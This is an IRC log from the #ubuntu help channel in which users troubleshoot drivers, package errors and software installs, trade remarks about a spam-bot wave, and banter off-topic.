[06:22] <intelikey> kelly_ no but you can go back to http://pastebin.com/349776 and save lines 53 - 88 and read them.
[06:22] <lunitik> masterloki, use tab... he just left though
[06:22] <Madpilot> net_benjo: I don't use gdesklets, but the stock gnome weather thing (gWeather, I think) has lots and lots of Canadian weather stations
[06:22] <lunitik> masterloki, just type like 3 chars... then hit tab key... and voila, it autocompletes  :)
[06:22] <masterloki> lunitik, he is gone
[06:22] <intelikey> kelly_ best advice go to ebay and find a good hardware/fax modem  and install it.
[06:23] <masterloki> lunitik, do you read spanish??
[06:23] <lineage> area51@mark:~/Desktop$ For language 'pt' several language ids were found:
[06:23] <lineage> pt_BR - 0416; pt_PT - 0816;
[06:23] <lineage> Instead of using first in the list, suggest to define
[06:23] <lineage> your LANG environment variable like this: LANG=pt_BR
[06:23] <net_benjo> Madpilot: thanks..i know aobut gweather...however iweather looks very very nice...and it does not use the same kind of input as gwweather
[06:23] <dasreich> Hey I figured it out, it actually freezes up like after 30 seconds with the mouse still available to work, i clicked on session and it crapped on me but i can still move the mouse around
[06:23] <lineage> how can i change this ?
[06:23] <lineage> area51@mark:~/Desktop$ For language 'pt' several language ids were found:
[06:23] <lineage> pt_BR - 0416; pt_PT - 0816;
[06:23] <lineage> Instead of using first in the list, suggest to define
[06:23] <lineage> your LANG environment variable like this: LANG=pt_BR
[06:23] <masterloki> intelikey, do you read spanish??
[06:23] <gpd> while booting I get /dev/xxx not found... then i have to mount -a ???
[06:23] <intelikey> no
[06:24] <kelly_> intelikey: i have installed ubuntu in laptop... so..it would be good if i can install this kind of modem...what you think? can it be done?
[06:24] <dasreich> your guys robots are really annoying
[06:24] <lunitik> masterloki: what you say?
[06:24] <masterloki> intelikey, Well I have to put an english version of this link
[06:24] <masterloki> http://www.ubuntu-es.org/node/6878
[06:24] <Dr_Willis> wow - i see the spam bots are still about. :(
[06:24] <pprince_> girlfriend say!
[06:24] <Dr_Willis> what was that umode setting again - i forget.
[06:24] <pprince_> Dr_Willis: topic
[06:25] <Dr_Willis> there we go. :P i need to learn how to auto-set that
[06:25] <dasreich> i think i found an error in ubuntu
[06:25] <intelikey> yes there are many good hardware modems that can be used in laptops. kelly_ linux can use any hardware modem
[06:25] <frogtone25> hey someone one named KiDXe is spamming on here
[06:25] <frogtone25> thought i would let you guys know
[06:25] <Dr_Willis> frogtone25,  /umode +CE
[06:25] <Dr_Willis> :P
[06:25] <lunitik> hmm... it doesn't appear to be... anyone know how to get XChat to auto complete correctly? (ie, if I type 'd' it would return dasreich because he was the last username starting with d to say anything...
[06:26] <douglas>  I'm trying to compile ogre3d and I found a guide for ubuntu/kubuntu, but now I'm to the point where I'm running ./configure and it keeps giving me this error http://rafb.net/paste/results/ksmu1H85.html ... Can someone help, I don't know what they mean?
[06:26] <nalioth> frogtone25: see /topic
[06:26] <lunitik> )
[06:26] <intelikey> frogtone25 read the topic please
[06:26] <Dr_Willis> spam about the spam! :p
[06:26] <Dr_Willis> what is this Dalnet? heh heh.
[06:26] <lunitik> Dr_Willis: great idea  :)
[06:26] <intelikey> lol
[06:26] <lunitik> Dr_Willis: looks like its getting close  :(
[06:26] <kelly_> intelikey: so you mean..this can be done? i can install this internal modem of my laptop?
[06:26] <lunitik> Dr_Willis: lilo is working on something to try to limit this crap though...
[06:26] <dasreich> how do I boot ubuntu into graphical mode with a standard video driver and stuff?
[06:27] <paulproteus|lapt> lineage: It said you had permissions problems.
[06:27] <lunitik> dasreich: this is default action... if you mean 'how do I get a graphical installer' you don't
[06:27] <paulproteus|lapt> chown changes the ownership of files to you.
[06:27] <dasreich> no no no how do i go to safe mode
[06:28] <dasreich> or equivalent
[06:28] <Dr_Willis> lunitik,  i wish him the best of luck. when on dalnet - i just ended up blocking all msgs from everyone sadly,.
[06:28] <intelikey> i don't know what interface you plan to use but kelly_ yes,  a hardware modem that will plug into the computer you want to use it on will work.
[06:28] <dasreich> when im not loggeed in yet
[06:28] <intelikey> dasreich init 1
[06:28] <lunitik> dasreich: hit ESC during boot as prompted... and choose 'failsafe'...
[06:28] <brett> Can someone tell me how I can change thepassword for Sudo?
[06:28] <lunitik> Dr_Willis: +CE appears to be working for me...
[06:28] <dasreich> ok i get the main gui screen right, and i click session to change it but when i change it to gui failsafe it freezes
[06:28] <lunitik> brett: its your users password... change your users passwrod
[06:28] <lunitik> word
[06:29] <intelikey> dasreich init 1  <---- the linux safe mode persi   but that is not what you want....
[06:29] <Dr_Willis> lunitik,  yea - that does seem to work.. wonder if the server could just force that to be the default on everyone.
[06:29] <Madpilot> !tell brett about sudo
[06:29] <lunitik> Dr_Willis: it could... but I'm not sure how willing lilo is to do that...
[06:29] <ksmurf> is there a way to unistall the Nvidia driver?
[06:29] <dasreich> init 1, whats the key combo for that?
[06:29] <Carpe_Libertatem> How would I update GAIM through apt-get? sudo apt-get update gaim ?
[06:30] <brett> Thanks. I'll look into it
[06:30] <lunitik> Dr_Willis: politely 'approach' lilo about it... see what he says...
[06:30] <dasreich> ok wait what do i want
[06:30] <lunitik> lilo: hmm... you around?
[06:30] <Dr_Willis> lol.
[06:30] <Dr_Willis> :P
[06:30] <Dr_Willis> just get rid of /msg for 3 weeks  see if the bots vanish.
[06:30] <paulproteus|lapt> Carpe_Libertatem: apt-get install gaim
[06:30] <dabar> hi.
[06:31] <dasreich> fuck ubuntu im done with this bullshit
[06:31] <lunitik> Dr_Willis: nah... but changing the default would be ok imo
[06:31] <dabar> dasreich: true.
[06:31] <kelly_> intelikey: what can you advice how will i go with this...in installing SIS modem?
[06:31] <frogtone25> ok what does /umode  +CE and /topic mean anyways] 
[06:31] <lunitik> Dr_Willis: anything else would reguire a server restart  :|
[06:31] <Dr_Willis> dasreich,  you are saying X freezes?
[06:31] <dasreich> it freezes but i can move the mouse around
[06:31] <dabar> frogtone25: if you type those as your message tio the channel, the bots will stop.
[06:31] <dasreich> after i login
[06:31] <lunitik> frogtone25: the first is usermode... and turns off messages and ctcp's from unregistered users....
[06:31] <Dr_Willis> interesting.. what sort of machine?
[06:32] <dasreich> custom
[06:32] <dasreich> p4
[06:32] <lunitik> frogtone25: /topic is a command that tells you... *g* what the channel topic is...
[06:32] <ksmurf> is there a way to unistall the Nvidia driver?
[06:32] <intelikey> kelly_ i think we have misunderstanding large
[06:32] <lunitik> ksmurf: you installed via Synaptic?
[06:32] <frogtone25> ok done
[06:32] <dasreich> it has dual monitors though but it detects one of them
[06:32] <dasreich> geforce 6800
[06:32] <ksmurf> lunitik... No I'm in breezy and installed through nvidia
[06:33] <Dr_Willis> dasreich,  sounds fairly standard.. I have identical video card. You using the default install drivers/X config for your video card?
[06:34] <dasreich> yeah
[06:34] <lunitik> ksmurf: then see if they have any intructions on removing :/
[06:34] <Thread-x> anyone knows how to fix this problem with ubuntu,, that makes yr keyboard repeat the letters and the mouse flickers. makiing the desktop unusable
[06:34] <dasreich> it didnt prompt me for any driver installs
[06:34] <ksmurf> K... next question .  Is nvidia glx working for breezy yet?
[06:34] <Dr_Willis> there are the 'official' nvidia drivers that may help you out. plus you will get 3d acell and otehr stuff.
[06:34] <keith> anyone here? ive tried everything and this problem is still kicking my butt
[06:34] <lunitik> ksmurf: you really should have waited for breezy to be released... using proprietary hardware on betaware is rarely a good idea...
[06:34] <dabar> keith: we are here, yes.
[06:35] <dabar> all the people you see posting, are here.
[06:35] <dasreich> sounds fine but how do i install them if i cant log in?
[06:35] <ksmurf> lunitik..... no one said I was smart
[06:35] <bytefoo> how can i burn an iso
[06:35] <Dr_Willis> boot to the console.
[06:35] <lunitik> keith: doubtful you've tried everything... what is your issue?
[06:35] <keith> why do ikeep getting spammed so badly with porn?
[06:35] <keith> at least in this irc channel
[06:35] <dabar> Dr_Willis: or just alt+ctrl+fNum
[06:35] <lunitik> ksmurf: hahah  :)
[06:35] <dasreich> damn
[06:35] <Dr_Willis> could try installing some alterantive window managers  and try changing to them, to see if its a gnome issue.
[06:35] <keith> lunitik, thanks for offering hte help
[06:35] <keith> heres my issue
[06:35] <ksmurf> keith read the topic
[06:35] <dasreich> I don't know anything about linux
[06:35] <lunitik> keith: /umode +CE
[06:36] <dabar> keith, that is fixable for the spam.
[06:36] <keith> k well heres my current issue
[06:36] <lunitik> dasreich: such things needn't be stated... its rather obvious  ;)
[06:36] <Dr_Willis> with linux - it pays to read, and learn, and learn how to learn. :P
[06:36] <keith> i go into synaptic and go to install something, anything. it started when i went to install sun-jre2
[06:36] <dasreich> im not talking to you
[06:36] <ksmurf> lunitik ..... Not bad for a noob huh....
[06:36] <lunitik> Dr_Willis: mostly the last one... cuz then you don't have to read all the time  :)
[06:36] <keith> gimme just a sec ill get the exact error
[06:36] <keith> that popsu p
[06:36] <keith> no matter what i install
[06:36] <dabar> ok, you have 5..:P
[06:37] <Dr_Willis> lunitik,  they all sort of go togeher.. like Pickles and Ice Cream.
[06:37] <Dr_Willis> :P
[06:37] <lunitik> Dr_Willis: reading man pages is a skill  :D
[06:37] <dasreich> yeah so i can learn how to set my internet connection up, download the drivers, and install them
[06:37] <lunitik> Dr_Willis: wait... pickles and icecream?
[06:37] <keith> E: /var/cache/apt/archives/sun-j2re1.5_1.5.0+update04_i386.deb:  files list file for package `kmix' is missing final newline
[06:37] <Dr_Willis> lunitik,  :P
[06:37] <keith> and it refuses to install or remove or upgrade ANYTHINg cause of that
[06:37] <Dr_Willis> Pickles go with everything!
[06:37] <dabar> dasreich: its fairly easy to get any internet connection up, other than dial up, and that should be easy too.
[06:38] <lunitik> keith: where did you get that package?
[06:38] <keith> which package
[06:38] <lunitik> keith: get it from hoary extras
[06:38] <keith> i did
[06:38] <lunitik> keith: sun-j2re1.5
[06:38] <keith> it doesnt matter what i install lunitik
[06:38] <lunitik> keith: strange... worked here...
[06:38] <ksmurf> Is nvidia glx working for breezy yet from Synaptic or apt-get??
[06:38] <keith> sun-j2re1.5
[06:38] <keith> or frozen bubbles
[06:38] <dabar> keith: why dont you: /join #flood, then, /exec -o cat /etc/apt/sources.list to start.
[06:38] <keith> ok
[06:39] <dabar> the second one is for #flood, not here.
[06:39] <dasreich> how do i change the driver for the vid card? is there a command?
[06:39] <masterloki> lunitik intelikey, keep this link http://ubuntuforums.org/showthread.php?p=324678#post324678
[06:39] <dabar> dasreich: read the URL ubotu tells you.
[06:39] <lunitik> keith: it doesn't say anything about an apt command?
[06:39] <Dr_Willis> !nvidia
[06:39] <ubotu> nvidia is, like, totally, at https://wiki.ubuntu.com/BinaryDriverHowto/Nvidia
[06:39] <ksmurf> dasreich ... what card
[06:39] <intelikey> keith sudo rm /var/cache/apt/archives/sun-j2re1.5_1.5.0+update04_i386.deb
[06:39] <dasreich> thanks
[06:40] <dabar> welcome, that should start you.
[06:40] <lunitik> keith: 'sudo apt-get -f install' (run this on its own)
[06:40] <keith> hold on trying what intel said first
[06:40] <cajun> how can i view Windows Media Player content from webpages on Firefox using ubuntu?
[06:40] <lunitik> keith: may take a while... but should fix it
[06:40] <keith> ok intelikey it should work now after doing that?
[06:40] <Dr_Willis> cajun,  mplayer, or xine can do most of them when set up right.. vlc perhaps can also.
[06:41] <intelikey> try it
[06:41] <lunitik> intelikey: that fixed an issue I had yesturday  :)
[06:41] <NoUse> cajun apt-get install mozilla-mplayer
[06:41] <NoUse> !mozilla-mplayer
[06:41] <ubotu> NoUse: I don't know
[06:41] <NoUse> !info mozilla-mplayer
[06:41] <ubotu> mozilla-mplayer: (MPlayer-Plugin for Mozilla, Konqueror and OpenOffice.org), section multiverse/misc, is optional. Version: 2.70-1ubuntu1 (hoary), Packaged size: 93 kB, Installed size: 300 kB
[06:42] <lunitik> intelikey: a package marked 'rc' wouldn't go away... even after -P ... and --force-all said it didn't exist... bah
[06:42] <lunitik> intelikey: I don't understand why that works though... you know? or you just know to do it?
[06:42] <keith> one sec
[06:42] <keith>  i think i froze the package manager
[06:42] <keith> i got an error again
[06:42] <cajun> is freenode.net a spam server or sometrhing?
[06:43] <lunitik> keith: that doesn't help us... tell us the error
[06:43] <keith> one sec its frozen
[06:43] <lunitik> cajun: look at the topic...
[06:43] <keith> E: /var/cache/apt/archives/sun-j2re1.5_1.5.0+update04_i386.deb:  files list file for package `kmix' is missing final newline
[06:43] <bimberi> !spam
[06:43] <ubotu> #ubuntu is bein affected by spammers at present. To overcome it please type '/mode *your nickname* +CE' and hit enter
[06:43] <lunitik> keith: apt-get -f install
[06:44] <cajun> i ask becuase i have just recieved 3 msgs from bots letting me know where i can view sex cams
[06:44] <NoUse> cajun read the topic
[06:44] <Dr_Willis> cajun,  Cool! :P
[06:44] <cajun> i read the topic
[06:44] <cajun> it tells me nothing
[06:44] <Dr_Willis> heh - "To prevent spam........"
[06:45] <cajun> ok  didn't see that last part
[06:45] <cajun> thanks
[06:45] <Dr_Willis> we going to have to set the bot to spam people about the spam? :P
[06:45] <intelikey> cajun you're not the only one ..... :)
[06:45] <dabar> Dr_Willis: you can set the bots?;O
[06:45] <Dr_Willis> the topic is so long. part of that msg scrolls past so i dident see it at first.
[06:46] <keith> doing apt-get -f install now intelikey
[06:46] <Dr_Willis> dabar,  im lucky to set my alarm clock. :P
[06:46] <dabar> keith, there is also http://paste.ubuntulinux.nl to paste.
[06:47] <Ice9> can somebody walk me through how to get 3d acceleration going with my ati radeon 9250?
[06:48] <Dr_Willis> !ati
[06:48] <ubotu> ati is, like, https://wiki.ubuntu.com/BinaryDriverHowto/ATI
[06:48] <Dr_Willis> :P
[06:48] <tritium> nalioth, what's new?
[06:48] <^thehatsrule^> :)
[06:48] <Dr_Willis> it was fairly trivial last i did it Ice9  - i just followed those docs.
[06:48] <hector_acosta> umode +CE
[06:48] <Ice9> Dr_Willis, I've tried that, it seems like I've tried everything
[06:48] <keith> damn still not working
[06:49] <omp342> hi guys :)
[06:49] <keith> intelikey, what does apt-get -f install do?
[06:49] <Dr_Willis> Ice9,  bummer. Id had issues with ati and some machines in the past due to Motherboard  and other chipset issues..  last i tried with my ati9700 - it took me just a few min to get it working under Ubuntu. i was amazed
[06:49] <Dr_Willis> :P
[06:49] <intelikey> keith "man apt-get"
[06:50] <keith> wait apt-get -f install or man apt-get
[06:50] <keith> ?
[06:50] <frogtone25> type this line into your dialog box, but leave out the ''()", (/umode +CE)
[06:50] <keith> o wait nm
[06:50] <keith> i get it now
[06:50] <Dr_Willis> man man
[06:50] <keith> no intelikey i get the same error when i do it that way too
[06:50] <frogtone25> and that will get rid of the bots
[06:50] <Dr_Willis> frogtone25,  well it will ignore the bots. :P
[06:50] <intelikey> keith "man man"
[06:50] <Dr_Willis> man woman
[06:50] <frogtone25> yeah
[06:50] <frogtone25> man man
[06:50] <Ether7> is there a quick and painless way to send a bunch of files between two linux machines (i have access to root on both machines, and they are on the same lan)?
[06:51] <Dr_Willis> Ether7,  scp is designed to do that.
[06:51] <Dr_Willis> fairly quick and painless. :P
[06:51] <Dr_Willis> i alwyas screw up the syntax the first 4 times.
[06:51] <intelikey> ether7 'man rsync '
[06:51] <Ether7> dr_willis well i've been trying that for a while now, but i cant get the rsa keypairs to work correctly.. (?)
[06:52] <Dr_Willis> Hmm i thought they could auto-add the keys some how.. I forget now.
[06:52] <Ether7> dr: i'm not that familiar with ssh though so it probably me
[06:52] <Dr_Willis> ssh - is one of those tools tahts well worth spending the time to learn all the ins and outs of.
[06:52] <Dr_Willis> its soo handy in so many ways.
[06:52] <dabar> intelikey: what do you mean, man man...:-/
[06:53] <Dr_Willis> 'man man' would show the man pages for the 'man' command.
[06:53] <intelikey> type that in a terminal   'man man'
[06:53] <Dr_Willis> :P like reading a book on how to read.
[06:53] <MrDaBomb> I'm having problems with runit - specifically somehow I've got /var/service trying to be run, and it can't, getting "supervise/lock": http://rafb.net/paste/results/anNDUy74.html Anyone have any ideas?
[06:53] <Ice9> I guess I really want to know, how can I get it using the fglrx driver or whatever, when I fglrxinfo, it lists mesa opengl stuff
[06:54] <intelikey> catuall more like reading a book on how to open another book and turn the pages of it.
[06:56] <dionysus> is anyone able to tell me what gamin/gam_server is, and why it's keeping my CD tied up (according to lsof) so I can't umount/eject it?
[06:57] <Ice9> I guess I really want to know, how can I get it using the fglrx driver or whatever, when I fglrxinfo, it lists mesa opengl stuff
[06:57] <intelikey> me has began to firmly believe that all installers should open with "man man" and have an exit code that you must type to escape that man page.  (the code line about 2/3 of the way down....)
[06:58] <lunitik> intelikey: you've lived in #debian too long, my friend  ;)
[06:58] <Dr_Willis> lol..
[06:58] <intelikey> one week
[06:58] <intelikey> ?
[06:58] <Dr_Willis> a "test" one must pass befor the installer will continue...
[06:58] <lunitik> intelikey: that'll do it
[06:58] <intelikey> lol
[06:58] <Dr_Willis> show the docs..  quiz the user afterwards.
[06:59] <simon^> can help me
[06:59] <simon^> how to disable this line
[06:59] <simon^> You are connected through proxy : 1.1
[06:59] <simon^> (squid/2.5.STABLE1) at
[06:59] <Dr_Willis> humans run  a kernel? wow.
[06:59] <Dr_Willis> :P
[07:00] <simon^> ?
[07:00] <simon^> anyone'
[07:00] <Dr_Willis> Nothing like catchy marketing terms. :P
[07:00] <Carpe_Libertatem> How do I cd to a directory with a space in it?
[07:00] <Dr_Willis> simon^,  where are ya getting that from ?
[07:00] <deprave> cd "name here"
[07:00] <Dr_Willis> cd "foo bar"
[07:00] <Carpe_Libertatem> ah
[07:00] <Carpe_Libertatem> ok
[07:00] <dionysus> Carpe_Libertatem, use '\' to escape the space
[07:00] <Dr_Willis> cd "wow                                            man"
[07:00] <Dr_Willis> :P
[07:00] <dionysus> or wrapping '"' 's I guess heh :)
[07:00] <Dr_Willis> or use single quotes '   '
[07:00] <lunitik> Dr_Willis: Linux is not known to be a kernel in the mainstream...
[07:00] <simon^> Dr_Willis i'm test my proxy and connect to proxyblind.org
[07:00] <simon^> how to remove that line
[07:01] <Dr_Willis> lunitik,  ive had to explain to dozens of peopel that linux is NOT a company :P they cant seem to understand it.
[07:01] <simon^> i mean to hidden my squid from tha
[07:01] <lunitik> Dr_Willis: look at all the 'Linux vs Windows' stuff online... very warped reality...
[07:01] <Dr_Willis> simon^,  proberly can tell the proxy server to not give out that info.
[07:01] <Dr_Willis> lunitik,  yea  :P OS wars are always warped.
[07:01] <intelikey> lunitik that's an interesting way to look at it.      seems a monkey not being able to read could not then install ubunu so it would be more "for human beings" than ever.   now  any chimp or chump can install it.  they just cant run it.....
[07:02] <simon^> lol
[07:02] <simon^> how to set squid.conf for that ?
[07:02] <lunitik> intelikey: grrr... seriously... pkill -9 debianized_thinking  :|
[07:02] <simon^> can anyone help me
[07:03] <lunitik> intelikey: Debian is for zealots
[07:03] <intelikey> seriously it is mdk'ized think i guess....
[07:03] <Ice9> I guess I really want to know, how can I get it using the fglrx driver or whatever, when I fglrxinfo, it lists mesa opengl stuff
[07:03] <Dr_Willis> well read the conf file would be a start simon^  :P and the squid docs perhaps. since thats what id have to do ti answer you. Lol.
[07:03] <Dr_Willis> it may be some very well commented section/option.
[07:04] <lunitik> intelikey: please refrain from disrespecting any distro... especially not one that hires a substantial amount of open source developers... thanks
[07:04] <simon^> Thanks for your help Dr_Willis
[07:04] <Dr_Willis> im checking my system at that proxy site you posted Lol. :P
[07:04] <chrismy> yo yall
[07:04] <dabar> heya
[07:04] <chrismy> how are  you dabar:D
[07:04] <intelikey> lunitik take a powder.    i didn't disrespect any thing.
[07:05] <dabar> all right. I have an issue, and its not ubuntu related, and I dont have anyone atm to talk about that to.
[07:05] <DjKritical> Does it matter which order you istall winee and nvidia drivers?
[07:05] <chrismy> dabar: what is that issue of yours?
[07:05] <dabar> DjKritical: not really.
[07:05] <lunitik> intelikey: you insinuated that Mandriva is for morons... guess what? Mandriva and Ubuntu target the same audiance...
[07:05] <dabar> chrismy: join #ubuntu-offtopic, Ill tell you.
[07:06] <chrismy> :O mandriva is for morons?????????
[07:06] <dabar> why is that chrismy?
[07:06] <DjKritical> win32 is for morons :p
[07:06] <Dr_Willis> Paying Tax's is for Morons. :P
 intelikey: you insinuated that Mandriva is for morons... <--- wrong  i said my thinking was based on mdk not deb now get a grip.
[07:06] <Dr_Willis> but  i perfer to stay out of Jail.
[07:06] <tritium> no need for all that, guys...
[07:06] <lunitik> Dr_Willis: + people that dislike federal prison   ;)
[07:07] <DjKritical> You can't go to prison over here for not paying taxes :D
[07:07] <lunitik> DjKritical: over where?
[07:07] <DjKritical> New Zealand
[07:08] <rob^> fish and chips
[07:08] <DjKritical> Unless it's Tax Evasion
[07:08] <lunitik> DjKritical: Tax Evasion = Not Paying Taxes
[07:08] <Luna-Tick> A lunitik? How... odd
[07:08] <black_13> does ubuntu have cdebootstrap
[07:09] <Dr_Willis> lunitik,  iseent that where they raise lots and lots of sheep? :P
[07:09] <benplaut> testing to see if spambot responds to my typing... 1234...
[07:09] <lunitik> Luna-Tick: you copied my idea  :|
[07:09] <Luna-Tick> I doubt that, somehow...
[07:09] <Luna-Tick> I started using this at 12
[07:09] <Luna-Tick> :D
[07:09] <Luna-Tick> And BTW, there aren't *that* many sheep in NZ ;)
[07:09] <DjKritical> Luna-Tick, over here there is a difference between not being able to pay your tax and trying to lie about how much you owe
[07:10] <lunitik> Luna-Tick: about 4 years of use here... although, mine is after a Luniz (RE: "I got five on it") CD...
[07:10] <DjKritical> One is tax-evasion and the other is debt collection
[07:10] <Dr_Willis> lol.
[07:10] <Dr_Willis> Lamb - the Other Yellow Meat!
[07:10] <Luna-Tick> I'm trying to figure how tax evasion became the topic in an Ubuntu room...
[07:10] <intelikey> black_13 yes
[07:11] <Dr_Willis> Luna-Tick,  everyone needs a Hobby.
[07:11] <lunitik> Luna-Tick: we all are... heh... he meant to send that to me though  ;)
[07:11] <black_13> intelikey good
[07:11] <Luna-Tick> Tax evasion... what a hobby...
[07:11] <black_13> hobby of the rich
[07:12] <black_13> intelikey have you used it ?
[07:12] <intelikey> black_13 remember this command  "apt-cache search <name>"  you can check things like that for your self
[07:12] <Luna-Tick> No no no..
[07:12] <intelikey> black_13 no
[07:12] <Luna-Tick> Tax evasion is illegal - it is 'tax minimisation' ;)
[07:12] <dionysus> anyone have any idea what gam/gam_server is, or why it keeps grabbing my CD drive, preventing me from umounting/ejecting, or why it keeps respawning when i kill it?
[07:13] <black_13> intelikey my ubuntu system is occupied in building something
[07:13] <NoUse> dionysus its a file monitoring system
[07:13] <intelikey> so you knew how to search  just couldn't atm    k
[07:13] <dionysus> NoUse, ah ok....any ideas on how to kill it off permanently so I can actually switch cds :) ?
[07:14] <black_13> partially i know debian had it i didnt know if ubuntu had it
[07:15] <Luna-Tick> I have a crazy problem for everyone: I wanted to upgrade to the new beta2 of Openoffice.org so downloaded the new archive, aliened all the rpms, dpkg installed them and everything works fine except for writer - which may as well not be installed. Trying to open writer opens calc, and writer isn't in the 'new' dropdown or anything. The odd thing is that uninstalling that and going back to 122 (which worked fine yesterday) now has the same problem. Any i
[07:15] <NoUse> dionysus doesn't gnome take care of that when you eject the disc through gnome?
[07:15] <dabar> Luna-Tick: there is packages for that in our repos.
[07:15] <Luna-Tick> Which repos?
[07:16] <dabar> !find openoffice2
[07:16] <dabar> !ubotu
[07:16] <ubotu> Thaaat's me! I'm a bot, not a human. I'm sometimes the most coherent poster on #ubuntu! For more, ask me about "add". You can browse my brain on http://ubuntu.cc.com.au/
[07:16] <Luna-Tick> That is only a really old version
[07:16] <Ice9> I guess I really want to know, how can I get it using the fglrx driver or whatever, when I fglrxinfo, it lists mesa opengl stuff
[07:16] <dionysus> NoUse, actually running a bastardized kde-on-ubuntu system, which is probably half my problem i guess :/
[07:16] <ubotu> Ubuntu Search of 'openoffice2' (1 shown): (/etc/openoffice2) in universe/editors/openoffice.org2-debian-files.
[07:16] <dabar> oh, ok.
[07:17] <Luna-Tick> The version is old and _really_ buggy
[07:17] <Luna-Tick> so I wanted to upgrade it, which worked really well until today.
[07:17] <intelikey> Luna-Tick possably rm -rf $HOME/.oo* (or what ever the dir is.   and start it without any rc files.
[07:17] <NoUse> dionysus you might try removing it
[07:17] <NoUse> dionysus idk
[07:17] <Juhaz> gnome doesn't really take care of it anyway, gam just doesn't use the mointoring method that requires open files for the mountpoints of /media
[07:18] <black_13> intelikey so far all i see are configs for hoary or warty on sid etch so forth
[07:18] <dionysus> NoUse, hmm....apt-get removing gamin will take a little over half my system with it :/ think I'll pass
[07:19] <Luna-Tick> intelikey - I did complete removals in between the installs
[07:19] <dionysus> NoUse, ah well....been meaning to install a proper kubuntu system anyhow, guess I'll just wait a couple more weeks till my internet quota is reset and do that :/
[07:19] <chrismy> hey who remembers me?
[07:19] <HrdwrBoB> nobody
[07:19] <lunitik> chrismy: everyone... you were only here about 2 minutes ago
[07:20] <chrismy> how come?
[07:20] <HrdwrBoB> possibly
[07:20] <cafuego> not me!
[07:20] <chrismy> lunitik: no i was talking to you since 5 hours ago!
[07:20] <chrismy> lunitik: remember about the windows and linux boot?
[07:20] <chrismy> was me! was me!!:P
[07:22] <cafuego> Is there a decent CMS with javascripty built-in wysiwyg editor?
[07:23] <nalioth> cafuego: none of the nice ones available work?
[07:23] <cafuego> nalioth: Which nice ones are you referring to?
[07:23] <x55> has anyone ran winamp5 through wine?
[07:23] <benplaut> hmm... tabbing is really borked in the latest breezy OO.org
[07:23] <cafuego> x55: No sane person, I should think.
[07:23] <x55> haha...can it be done?
[07:24] <freddy> hello!!
[07:24] <dabar> hi.
[07:24] <freddy> whats up
[07:24] <nalioth> cafuego: i have no clue, (forgot i use text-mode html editors)
[07:25] <freddy> nalioth, !!
[07:25] <syn-ack> What the fsck? Im getting spamflooded all sorts... You guys wernt lying
[07:25] <freddy> ist_24p
[07:25] <cafuego> nalioth: Oh there's a few nice ones that work, but I'd prefer to 1) Not have the users whine at me and 2) Not have to modify an existing CMS
[07:25] <freddy> bad bad
[07:25] <benplaut> syn-ack, yeah, got me a few mintues ago
[07:26] <Madpilot> syn-ack: see the topic for how to stop the spam
[07:26] <domster> Madpilot, I understand the +E, but what's the +C?
[07:26] <cafuego> domster: ctcp
[07:26] <nalioth> freddy!
[07:26] <domster> ah
[07:27] <freddy> nalioth, how are you this days?
[07:27] <tritium> http://freenode.net/using_the_network.shtml
[07:27] <nalioth> cafuego: theere ya go with the big words again (or is it confusing TLAs?)
[07:27] <nalioth> freddy: keepin em one step in front ot t'other
[07:27] <cafuego> nalioth: Content Management System
[07:28] <Carpe_Libertatem> !ntfs
[07:28] <ubotu> well, ntfs is the (N)(T) (F)ile(S)ystem, the filesystem normally used under Windows XP.  To automatically mount your NTFS partition/s, you can use this utility: http://www.ubuntulinux.nl/files/winmac_fstab . It handles HFS+, NTFS and FAT32 partitions.
[07:28] <cafuego> nalioth: tempkate engine for a website, basically
[07:28] <nalioth> cafuego: ah. ok
[07:28] <cafuego> drupal is nice, but a tad too basic
[07:28] <freddy> nalioth, lol
[07:28] <black_13> build the kernel the command is make-kpkg --append-to-version=... kernel_image ... where created deb file end up?
[07:28] <brett> I did a network install of Ubuntu, and use a stupidly long passwd. How can I change the sudo passwd?
[07:29] <carthik> !ubotu
[07:29] <ubotu> Thaaat's me! I'm a bot, not a human. I'm sometimes the most coherent poster on #ubuntu! For more, ask me about "add". You can browse my brain on http://ubuntu.cc.com.au/
[07:29] <brett> My accountpasswd is different from the Sudo passwd
[07:29] <freddy> ok...the only thing i find boring about ubuntu is....that it runs so perfect..that suddenly you have nothing to do :( nothing to fix...nadda
[07:29] <cafuego> brett: that's a REALLY special.
[07:29] <cafuego> brett: How did you manage that?
[07:30] <black_13> finally cowboy
[07:30] <cafuego> Check out this wind!
[07:30] <brett> TheCDswoulden't workfully, so Itried on a whim to get it to install via http using the cd as a start point :)
[07:31] <Luna-Tick> If only backports kept up with the openoffice2 builds...
[07:31] <brett> Sorry aboutmy typing, this keyboard needsto be changed
[07:31] <chrismy> see you later guys and gals!:
[07:32] <Reilyn> blame it on the keyboard
[07:32] <lunitik> Luna-Tick: breezy is frozen *cough* and is pretty stable *cough* *cough*
[07:32] <Ice9> how do I find out if I want linux x86 or linux x86_64 drivers?
[07:32] <NoUse> Ice9 do you have a 64bit processor?
[07:32] <lunitik> Luna-Tick: only issue right now is Rhythmbox for me...
[07:33] <Ice9> I dunno, I have a 3.06 p4
[07:33] <Luna-Tick> luni: yeah ... I have heard a few horror stories
[07:33] <NoUse> Ice9 no you don't
[07:33] <cafuego> Then no, you don't.
[07:33] <brett> My keyboard didn'tselect a 40 characterpassword,andthe space bar is the only problemkey(no spaces in the passwd)
[07:33] <NoUse> Ice9 you want x86
[07:33] <Ice9> okay
[07:33] <Luna-Tick> I am quite happy with hoary, except for a few things that it would be nice to have the latest versions for
[07:33] <Luna-Tick> And debs aren't so commonly released by developers
[07:34] <Reilyn> I think escort service should be in the next release.
[07:34] <Reilyn> aptget escort
[07:35] <dabar> why would xmms not play sounds, look like it is playing a song, and there are other sounds on the computer?
[07:35] <Reilyn> the magic of debian
[07:35] <regeya> smeggin' hell.
[07:36] <Reilyn> I can't compile the AOL dialer source from Linspire.
[07:36] <regeya> SON OF A BITCH
[07:36] <lunitik> regeya: now now
[07:36] <regeya> look
[07:36] <bimberi> !spam
[07:36] <ubotu> [spam]  Freenode is being affected by spammers at present. To overcome it please type '/mode *your nickname* +CE' and hit enter
[07:36] <lunitik> whats wrong?
[07:36] <regeya> it's all coming from the same IP
[07:36] <regeya> this isn't hard
[07:37] <lunitik> regeya: blah... read the damn topic...
[07:37] <dabar> its not coming from the same IP.
[07:37] <lunitik> regeya: I recognize you... so you should know better
[07:37] <dabar> but, dont go trolling now, regeya.
[07:37] <Ice9> how do I get the kernel headers? apt-get install kernel-headers-'uname -r' didn't work
[07:37] <regeya> would if I could stay in channel
[07:37] <regeya> trolling
[07:37] <regeya> TROLLIN.
[07:38] <regeya> jeeziecow.
